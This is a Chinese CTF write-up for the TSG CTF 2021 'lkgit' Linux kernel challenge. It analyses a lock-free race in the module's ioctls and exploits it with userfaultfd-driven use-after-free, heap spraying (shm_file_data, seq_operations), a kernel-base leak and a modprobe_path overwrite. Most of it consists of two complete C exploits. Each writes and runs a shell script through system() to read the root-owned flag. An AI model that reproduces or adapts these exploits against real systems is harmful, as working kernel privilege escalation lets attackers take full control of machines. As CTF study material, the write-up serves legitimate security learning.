tsgctf-2021-lkgit-无锁竞争-userfaultfd
启动脚本
qemu-system-x86_64 \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-cpu kvm64,smep,smap \
-append "console=ttyS0 kaslr oops=panic panic=1 quiet" \
-no-reboot \
-m 256M
题目
lkgit_hash_object
#define HASH_SIZE 0x10
typedef struct {
char hash[HASH_SIZE];
char *content; // 长度最大0x40
char *message; // 长度最大0x20
} hash_object;
从用户空间传递一个hash_object
到内核
- 内核分配一个hash_object对象,将用户态的hash_object拷贝进来
- 内核分配一个content对象,将hash_object->content拷贝进来
- 内核分配一个message对象,将hash_object->message拷贝进来
- 根据content的内容计算出,hash,保存到内核的hash_object->hash
- 并将hash赋值到用户态的hash_object->hash
- 最后将内核态的hash_object保存到全局数组objects中
- 先检查全局数组objects是否已经保存了相同hash的hash_object,有则先将hash_object释放,并置NULL
- 然后再全局数组objects中找到一个元素为NULL的,存放进去
static long lkgit_hash_object(hash_object *reqptr) {
long ret = -LKGIT_ERR_UNKNOWN;
char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40
char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20
hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20
if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))
goto end;
if (copy_from_user(req, reqptr, sizeof(hash_object)))
goto end;
if (copy_from_user(content_buf, req->content, FILE_MAXSZ)
|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))
goto end;
req->content = content_buf;
req->message = message_buf;
get_hash(content_buf, req->hash);
if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {
goto end;
}
ret = save_object(req);
end:
return ret;
}
static void get_hash(char *content, char *buf) {
int ix,jx;
unsigned unit = FILE_MAXSZ / HASH_SIZE;
char c;
for (ix = 0; ix != HASH_SIZE; ++ix) {
c = 0;
for(jx = 0; jx != unit; ++jx) {
c ^= content[ix * unit + jx];
}
buf[ix] = c;
}
}
static long save_object(hash_object *obj) {
int ix;
int dup_ix;
// first, find conflict of hash
if((dup_ix = find_by_hash(obj->hash)) != -1) {
kfree(objects[dup_ix]);
objects[dup_ix] = NULL;
}
// assign object
for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
if (objects[ix] == NULL) {
objects[ix] = obj;
return 0;
}
}
return -LKGIT_ERR_UNKNOWN;
}
static int find_by_hash(char *hash) {
int ix;
for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)
return ix;
}
return -1;
}
lkgit_get_object
typedef struct {
char hash[HASH_SIZE];
char content[FILE_MAXSZ];
char message[MESSAGE_MAXSZ];
} log_object;
用户态传递过来的参数log_object
- 内核获取用户态的log_object->hash
- 在全局数组objects中,查找是否存在hash相同的hash_object元素
- 将找到的hash_object元素的content,拷贝到用户态的log_object->content
- 计算内核找到的hash_object元素content的hash,是否与用户参数中的log_object->hash,一致则
- 内核找到的hash_object元素的content,拷贝给用户态
- 内核找到的hash_object元素的hash,拷贝给用户态
static long lkgit_get_object(log_object *req) {
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char hash_other[HASH_SIZE] = {0};
char hash[HASH_SIZE];
int target_ix;
hash_object *target;
if (copy_from_user(hash, req->hash, HASH_SIZE))
goto end;
if ((target_ix = find_by_hash(hash)) != -1) {
target = objects[target_ix];
if (copy_to_user(req->content, target->content, FILE_MAXSZ))
goto end;
// validity check of hash
get_hash(target->content, hash_other);
if (memcmp(hash, hash_other, HASH_SIZE) != 0)
goto end;
if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))
goto end;
if (copy_to_user(req->hash, target->hash, HASH_SIZE))
goto end;
ret = 0;
}
end:
return ret;
}
lkgit_amend_message
用户态传递过来的参数log_object
- 内核获取用户态的log_object->hash
- 在全局数组objects中,查找是否存在hash相同的hash_object元素
- 将用户态的log_object->message,拷贝到内核局部变量buf中
- 调用
lkgit_get_object
- 并将用户态log_object->message,拷贝到找到的hash相同的hash_object->message中
static long lkgit_amend_message(log_object *reqptr) {
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char buf[MESSAGE_MAXSZ];
log_object req = {0};
int target_ix;
hash_object *target;
if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
goto end;
if ((target_ix = find_by_hash(req.hash)) != -1) {
target = objects[target_ix];
// save message temporarily
if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))
goto end;
// return old information of object
ret = lkgit_get_object(reqptr);
// amend message
memcpy(target->message, buf, MESSAGE_MAXSZ);
}
end:
return ret;
}
漏洞在哪里
单看,ioctl中的三个方法,好像都没有问题
- lkgit_hash_object
- lkgit_get_object
- lkgit_amend_message
由于内核函数调用中没有加锁,查看是否存在竞争
结合异步并行调用+userfaultfd,再尝试看看没有没有问题
lkgit_hash_object
static long lkgit_hash_object(hash_object *reqptr) {
long ret = -LKGIT_ERR_UNKNOWN;
char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40
char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20
hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20
if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))
goto end;
if (copy_from_user(req, reqptr, sizeof(hash_object))) // 【1】
goto end;
if (copy_from_user(content_buf, req->content, FILE_MAXSZ)
|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ)) // 【2】
goto end;
req->content = content_buf;
req->message = message_buf;
get_hash(content_buf, req->hash); // 【3】
if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) { // 【4】
goto end;
}
ret = save_object(req);
end:
return ret;
}
- 通过userfaultfd,在【1】处暂停
- lkgit_get_object,无法从全局数组
objects
找到可用的hash_other
- lkgit_get_object,无法从全局数组
- 通过userfaultfd,在【2】处暂停
- lkgit_get_object,无法从全局数组
objects
找到可用的hash_other
- lkgit_get_object,无法从全局数组
- 通过userfaultfd,在【4】处暂停
- lkgit_get_object,无法从全局数组
objects
找到可用的hash_other
- lkgit_get_object,无法从全局数组
lkgit_get_object
static long lkgit_get_object(log_object *req) {
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char hash_other[HASH_SIZE] = {0};
char hash[HASH_SIZE];
int target_ix;
hash_object *target;
if (copy_from_user(hash, req->hash, HASH_SIZE))
goto end;
if ((target_ix = find_by_hash(hash)) != -1) {
target = objects[target_ix];
if (copy_to_user(req->content, target->content, FILE_MAXSZ)) // 【1】
goto end;
// validity check of hash
get_hash(target->content, hash_other);
if (memcmp(hash, hash_other, HASH_SIZE) != 0)
goto end;
if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // 【2】
goto end;
if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【3】
goto end;
ret = 0;
}
end:
return ret;
}
- 【1】,【2】,【3】在此处停下,通过调用
lkgit_hash_object->save_object->kfree
,释放hash_object,并用其他内核结构替换,获取可以获取一些内核信息
lkgit_amend_message
static long lkgit_amend_message(log_object *reqptr) {
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char buf[MESSAGE_MAXSZ];
log_object req = {0};
int target_ix;
hash_object *target;
if(copy_from_user(&req, reqptr->hash, HASH_SIZE)) // 【1】
goto end;
if ((target_ix = find_by_hash(req.hash)) != -1) {
target = objects[target_ix];
// save message temporarily
if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))
goto end;
// return old information of object
ret = lkgit_get_object(reqptr); // 【1】
// amend message
memcpy(target->message, buf, MESSAGE_MAXSZ); // 【2】
}
end:
return ret;
}
与lkgit_get_object
类似,但是这个的【2】提供了一个往占位结构体写数据的功能,但这里略微复杂一点
// 1、在lkgit_hash_object中,先申请kmalloc-32的message slab-1
message:
0x0-0x7
0x8-0xF
0x10-0x17
0x18-0x1F
// 2、在lkgit_hash_object中,再申请kmalloc-32的hash_object slab-2
// 2-1、之前存储在objects中的kmalloc-32的 hash_object slab-0会被释放
// 3、再次调用lkgit_hash_object,slab-0,会被message占据
// 4、这时就可以通过lkgit_hash_object内部的copy_from_user(message_buf),修改 hash_object->message
// 5、通过lkgit_amend_message中的【1】找到这个结构体
// 6、通过lkgit_amend_message中的【2】修改hash_object->message指向的内容
typedef struct {
char hash[HASH_SIZE];
char *content; // 长度最大0x40
char *message; // 长度最大0x20
} hash_object;
利用
- 先创建一个内核
hash_object
,并挂到内核objects
数组下 - 调用lkgit_get_object,触发缺页处理
- 在缺页处理内部调用
lkgit_hash_object
,触发kfree - 使用
shm_file_data
进行占位 - 读取内核指针,获取内核基地址
- 从而得到modprobe_path的地址
- 在缺页处理内部调用
- 调用lkgit_amend_message,触发缺页处理
- 修改
hash_object->message
的地址为modprobe_path的地址 - 通过
memcpy(target->message, buf, MESSAGE_MAXSZ);
重写modprobe_path的内容
- 修改
exp1 - 这个蛮好看的
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>
#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004
#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HASH_SIZE 0x10
typedef struct
{
char hash[HASH_SIZE]; // 0x10
char *content; // 0x8
char *message; // 0x8
} hash_object;
typedef struct
{
char hash[HASH_SIZE];
char content[FILE_MAXSZ];
char message[MESSAGE_MAXSZ];
} log_object;
typedef struct
{
long uffd;
unsigned long long page_start;
void *(*wp_fault_func)(void *);
void *(*read_fault_func)(void *, struct uffdio_copy*);
} userfd_callback_args;
int lkgit_fd;
pthread_t uffd_thread;
char fileContent1[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char fileMessage1[] = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char hash1[0x10];
unsigned long modprobe_path;
void errout(char *msg)
{
perror(msg);
exit(-1);
}
void *userfd_thread_func(void *args)
{
struct uffd_msg msg;
userfd_callback_args *cb_args = (userfd_callback_args *)args;
struct pollfd pollfd = {
.fd = cb_args->uffd,
.events = POLLIN};
while (poll(&pollfd, 1, -1) > 0)
{
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
errout("polling error");
if (!(pollfd.revents & POLLIN))
continue;
if (read(cb_args->uffd, &msg, sizeof(msg)) == 0)
errout("read uffd event");
printf("Userfault event\n");
printf("======================================================================\n");
if (msg.event & UFFD_EVENT_PAGEFAULT)
printf("PAGEFAULT : %p / Flags %p\n", (void *)msg.arg.pagefault.address, msg.arg.pagefault.flags);
long long addr = msg.arg.pagefault.address;
long long page_begin = addr - (addr % 0x1000);
// Check for write protected write fault
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP)
{
printf("UFFD_PAGEFAULT_FLAG_WP\n");
// If defined, call write protect fault handler
if(cb_args->wp_fault_func)
cb_args->wp_fault_func(cb_args);
// set page to not write protected to unlock kernel
struct uffdio_writeprotect wp;
wp.range.start = cb_args->page_start;
wp.range.len = 0x2000;
wp.mode = 0;
printf("[+] Send !UFFDIO_WRITEPROTECT event to userfaultfd\n");
printf("======================================================================\n\n");
fflush(stdout);
if (ioctl(cb_args->uffd, UFFDIO_WRITEPROTECT, &wp) == -1)
{
errout("ioctl(UFFDIO_WRITEPROTECT)");
}
continue;
}
// Page wasn't touched by now, so fill it
printf("UFFDIO_COPY\n");
char buf[0x1000];
struct uffdio_copy cp = {
.src = (long long)buf,
.dst = (long long)addr,
.len = (long long)0x1000,
.mode = 0
};
// If defined, call read protect fault handler
if(cb_args->read_fault_func)
cb_args->read_fault_func(cb_args, &cp);
if (ioctl(cb_args->uffd, UFFDIO_COPY, &cp) == -1)
{
perror("ioctl(UFFDIO_COPY)");
}
printf("[+] Sent UFFDIO_COPY event to userfaultfd\n");
printf("======================================================================\n\n");
fflush(stdout);
}
return NULL;
}
userfd_callback_args* register_userfaultfd(unsigned long long mode, void *(*wp_fault_func)(void *), void *(*read_fault_func)(void *, struct uffdio_copy*))
{
printf("\n");
printf("Register userfaultdfd\n");
printf("======================================================================\n");
// setup userfault fd
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
{
perror("syscall");
exit(-1);
}
int uffd_flags = fcntl(uffd, F_GETFD, NULL);
printf("[+] Userfaultfd registered : FD %d / Flags: %p\n", uffd, uffd_flags);
struct uffdio_api uffdio_api = {
.api = UFFD_API,
.features = 0};
if (ioctl(uffd, UFFDIO_API, &uffdio_api))
{
perror("UFFDIO_API");
exit(-1);
}
printf("[+] Userfaultfd api : Features %p\n", uffdio_api.features);
char* userfault_region = mmap(NULL, 0x1000 * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
if (!userfault_region)
{
perror("mmap");
exit(-1);
}
// 页对其
if (posix_memalign((void **)userfault_region, 0x1000, 0x1000 * 2))
{
fprintf(stderr, "cannot align by pagesize %d\n", 0x1000);
exit(1);
}
printf("[+] Userfaultfd region : %p - %p", userfault_region, userfault_region + 0x1000 * 2);
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long long)userfault_region;
uffdio_register.range.len = 0x1000 * 2;
uffdio_register.mode = mode;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
{
perror("ioctl(UFFDIO_REGISTER)");
exit(1);
}
printf("[+] Userfaultfd region registered: ioctls %p\n", uffdio_register.ioctls);
userfd_callback_args *cb_args = malloc(sizeof(userfd_callback_args));
cb_args->uffd = uffd;
cb_args->wp_fault_func = wp_fault_func;
cb_args->read_fault_func = read_fault_func;
cb_args->page_start = (unsigned long long)userfault_region;
pthread_create(&uffd_thread, NULL, userfd_thread_func, cb_args);
printf("[+] Userfaultfd process thread started: %p\n", uffd_thread);
printf("======================================================================\n\n");
return cb_args;
}
void unregister_userfaultfd(userfd_callback_args* args) {
printf("\n");
printf("Unregister userfaultdfd\n");
printf("======================================================================\n");
struct uffdio_range uf_range = {
.start = args->page_start,
.len = 0x2000
};
if (ioctl(args->uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1)
errout("unregistering page for userfaultfd");
if (munmap(args->page_start, 0x2000) == -1)
errout("munmapping userfaultfd page");
close(args->uffd);
pthread_cancel(uffd_thread);
printf("[+] userfaultfd unregistered\n");
printf("======================================================================\n\n");
}
// take a snapshot of a file.
char snap_file(char *content, char *message, char *out_hash)
{
hash_object req = {
.content = content,
.message = message,
};
if (ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0)
{
printf("[ERROR] failed to hash the object.\n");
}
memcpy(out_hash, &req.hash, 0x10);
return 0;
}
void spray_shmem(int count, int size) {
puts("[+] spray shmem structs");
int shmid;
char *shmaddr;
for (int i = 0; i < count; i++)
{
if ((shmid = shmget(IPC_PRIVATE, size, 0600)) == -1)
{
perror("shmget error");
exit(-1);
}
shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void *)-1)
{
perror("shmat error");
exit(-1);
}
}
}
void *break_on_read_leak(void *args, struct uffdio_copy *uf_buf)
{
userfd_callback_args *cb_args = args;
puts("Userfault: break_on_read");
printf("[+]Delete current object by storing one with the same hash\n");
snap_file(fileContent1, fileMessage1, &hash1);
printf("[+] Create a shmem struct in the freed object");
spray_shmem(1, 0x20);
}
void *break_on_read_overwrite(void *args, struct uffdio_copy *uf_buf)
{
userfd_callback_args *cb_args = args;
// Write address of modprobe_path to hash_object->message
unsigned long* lptr = fileMessage1+0x18;
*lptr = modprobe_path;
// Reallocate files, so that current object is freed and our message will overwrite current object to control its message pointer
snap_file(fileContent1, fileMessage1, &hash1);
snap_file(fileContent1, fileMessage1, &hash1);
// Put the content into UFFDIO_COPY src argument (which will be copied to message pointer)
char mod[] = "/home/user/copy.sh";
memcpy(uf_buf->src, mod, sizeof(mod));
}
int main()
{
// Prepare modprobe_path exploitation
system("echo -ne '#!/bin/sh\n/bin/cp /home/user/flag /home/user/flag2\n/bin/chmod 777 /home/user/flag2' > /home/user/copy.sh");
system("chmod +x /home/user/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
system("chmod +x /home/user/dummy");
lkgit_fd = open("/dev/lkgit", O_RDWR);
// 创建一个log_object对象
printf("[+] Create initial file in lkgit\n");
snap_file(fileContent1, fileMessage1, hash1);
// kernel base泄露
printf("[+] Register userfaultfd\n");
userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_leak);
printf("[+] Request file, and let it break on copying back message\n");
log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on message
memcpy(&req->hash, hash1, 0x10);
ioctl(lkgit_fd, LKGIT_GET_OBJECT, req); // page fault 错误,先执行 break_on_read_leak(1、删除object 2、堆喷占据对象),再读取堆喷数据
unsigned long kernel_leak = *((unsigned long*)(req->hash + 0x8));
modprobe_path = kernel_leak - 0x131ce0;
printf("[+] Kernel leak : %p\n", kernel_leak);
printf("[+] modprobe_path : %p\n", modprobe_path);
unregister_userfaultfd(uffdargs);
// 任意地址写
printf("[+] Register new userfaultfd\n");
uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_overwrite);
// Align the request object, so that lkgit_amend_message will pagefault on reading new message
ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, uffdargs->page_start+0x1000-0x10-0x40);
close(lkgit_fd);
// Execute modprobe_path exploitation
system("/home/user/dummy");
system("cat /home/user/flag2");
}
exp2
/****************
*
* Full exploit of lkgit.
*
****************/
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <netinet/in.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>
#include "../src/include/lkgit.h" // commands
#define DEV_PATH "/dev/lkgit" // the path the device is placed
#define ulong unsigned long
#define scu static const unsigned long
#// constants
#define PAGE 0x1000
#define NO_FAULT_ADDR 0xdead0000
#define FAULT_ADDR 0xdead1000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)
// globals
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int lkgit_fd;
char buf[0x400];
unsigned long len = 2 * PAGE;
void *addr = (void *)NO_FAULT_ADDR;
void *target_addr;
size_t target_len;
int tmpfd[0x300];
int seqfd;
struct sockaddr_in saddr = {0};
struct msghdr socketmsg = {0};
struct iovec iov[1];
ulong single_start;
ulong kernbase;
ulong off_single_start = 0x01adc20;
ulong off_modprobepath = 0x0c3cb20;
// (END globals)
// utils
#define WAIT getc(stdin);
#define errExit(msg) \
do \
{ \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
ulong user_cs, user_ss, user_sp, user_rflags;
/** module specific utils **/
char *hash_to_string(char *hash)
{
char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);
for (int ix = 0; ix != HASH_SIZE; ++ix)
{
sprintf(hash_str + ix * 2, "%02lx", (unsigned long)(unsigned char)hash[ix]);
}
return hash_str;
}
char *string_to_hash(char *hash_str)
{
char *hash = calloc(HASH_SIZE, 1);
char buf[3] = {0};
for (int ix = 0; ix != HASH_SIZE; ++ix)
{
memcpy(buf, &hash_str[ix * 2], 2);
hash[ix] = (char)strtol(buf, NULL, 16);
}
return hash;
}
void print_log(log_object *log)
{
printf("HASH : %s\n", hash_to_string(log->hash));
printf("MESSAGE: %s\n", log->message);
printf("CONTENT: \n%s\n", log->content);
}
/** END of module specific utils **/
void *conflict_during_fault(char *content)
{
// commit with conflict of hash
char content_buf[FILE_MAXSZ] = {0};
char msg_buf[MESSAGE_MAXSZ] = {0};
memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000...
hash_object req = {
.content = content_buf,
.message = content_buf,
};
printf("[.] committing with conflict...: %s\n", content);
assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
printf("[+] hash: %s\n", hash_to_string(req.hash));
}
// userfaultfd-utils
static void *fault_handler_thread(void *arg)
{
puts("[+] entered fault_handler_thread");
static struct uffd_msg msg; // data read from userfaultfd
// struct uffdio_copy uffdio_copy;
struct uffdio_range uffdio_range;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg; // userfaultfd file descriptor
struct pollfd pollfd; //
int nready; // number of polled events
// set poll information
pollfd.fd = uffd;
pollfd.events = POLLIN;
// wait for poll
puts("[+] polling...");
while (poll(&pollfd, 1, -1) > 0)
{
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
errExit("poll");
// read an event
if (read(uffd, &msg, sizeof(msg)) == 0)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("unexpected pagefault");
printf("[!] page fault: %p\n", (void *)msg.arg.pagefault.address);
// Now, another thread is halting. Do my business.
char content_buf[FILE_MAXSZ] = {0};
if (target_addr == (void *)NO_FAULT_ADDR)
{
puts("[+] first: seq_operations");
memset(content_buf, 'A', FILE_MAXSZ);
conflict_during_fault(content_buf);
puts("[+] trying to realloc kfreed object...");
if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0)
{
errExit("open seq_operations");
}
// trash
uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);
uffdio_range.len = PAGE;
if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
errExit("ioctl-UFFDIO_UNREGISTER");
}
else
{
printf("[+] target == modprobe_path @ %p\n", (void *)kernbase + off_modprobepath);
strcpy(content_buf, "/tmp/evil\x00");
conflict_during_fault(content_buf);
puts("[+] trying to realloc kfreed object...");
long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long));
for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix)
{
buf[ix] = kernbase + off_modprobepath;
}
char content_buf[FILE_MAXSZ] = {0};
char hash_buf[HASH_SIZE] = {0};
strcpy(content_buf, "uouo-fish-life\x00");
hash_object req = {
.content = content_buf,
.message = (char *)buf,
};
assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
printf("[+] hash: %s\n", hash_to_string(req.hash));
// write evil message
puts("[+] copying evil message...");
char message_buf[PAGE] = {0};
strcpy(message_buf, "/tmp/evil\x00");
uffdio_copy.src = (unsigned long)message_buf;
uffdio_copy.dst = msg.arg.pagefault.address;
uffdio_copy.len = PAGE;
uffdio_copy.mode = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
}
break;
}
puts("[+] exiting fault_handler_thrd");
}
void register_userfaultfd_and_halt(void)
{
puts("[+] registering userfaultfd...");
long uffd; // userfaultfd file descriptor
pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
// create userfaultfd file descriptor
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
if (uffd == -1)
errExit("userfaultfd");
// enable uffd object via ioctl(UFFDIO_API)
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
// mmap
addr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
printf("[+] mmapped @ %p\n", addr);
if (addr == MAP_FAILED || addr != target_addr)
errExit("mmap");
// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
// first step
if (target_addr == (void *)NO_FAULT_ADDR)
{
uffdio_register.range.start = (size_t)(target_addr + PAGE);
uffdio_register.range.len = PAGE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
}
else
{
// second step
uffdio_register.range.start = (size_t)(target_addr + PAGE);
uffdio_register.range.len = PAGE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
}
// uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protection
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);
if (s != 0)
{
errno = s;
errExit("pthread_create");
}
puts("[+] registered userfaultfd");
}
// (END userfaultfd-utils)
int main(int argc, char *argv[])
{
puts("[.] starting exploit...");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");
system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");
system("chmod +x /tmp/evil");
system("chmod +x /tmp/nirugiri");
lkgit_fd = open(DEV_PATH, O_RDWR);
if (lkgit_fd < 0)
{
errExit("open");
}
// register uffd handler
target_addr = (void *)NO_FAULT_ADDR;
target_len = 2 * PAGE;
register_userfaultfd_and_halt();
sleep(1);
log_object *log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
printf("[.] target addr: %p\n", target_addr);
printf("[.] log: %p\n", log);
// spray
puts("[.] heap spraying...");
for (int ix = 0; ix != 0x90; ++ix)
{
tmpfd[ix] = open("/proc/self/stat", O_RDONLY);
}
// commit a file normaly
char content_buf[FILE_MAXSZ] = {0};
char msg_buf[MESSAGE_MAXSZ] = {0};
char hash_buf[HASH_SIZE] = {0};
memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000...
strcpy(msg_buf, "This is normal commit.\x00");
hash_object req = {
.content = content_buf,
.message = msg_buf,
};
assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
printf("[+] hash: %s\n", hash_to_string(req.hash));
memset(content_buf, 0, FILE_MAXSZ);
strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000
strcpy(msg_buf, "This is second commit.\x00");
assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
printf("[+] hash: %s\n", hash_to_string(req.hash));
// try to get a log and invoke race
// this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).
memset(log->hash, 0, HASH_SIZE);
assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0);
print_log(log);
// kernbase leak
single_start = *(unsigned long *)log->hash;
kernbase = single_start - off_single_start;
printf("[!] single_start: %lx\n", single_start);
printf("[!] kernbase: %lx\n", kernbase);
// prepare for race again.
target_len = PAGE * 2;
target_addr = (void *)NO_FAULT_ADDR + PAGE * 2;
register_userfaultfd_and_halt();
sleep(1);
// amend to race/AAW
log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000
puts("[.] trying to race to achive AAW...");
int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);
if (e != 0)
{
if (e == -LKGIT_ERR_OBJECT_NOTFOUND)
{
printf("[ERROR] object not found: %s\n", hash_to_string(log->hash));
}
else
{
printf("[ERROR] unknown error in AMEND.\n");
}
}
// nirugiri
puts("[!] executing evil script...");
system("/tmp/nirugiri");
system("cat /home/user/flag");
printf("[.] end of exploit.\n");
return 0;
}
参考
https://ctftime.org/writeup/30739
https://kileak.github.io/ctf/2021/tsg-lkgit/
https://blog.smallkirby.com/posts/lkgit/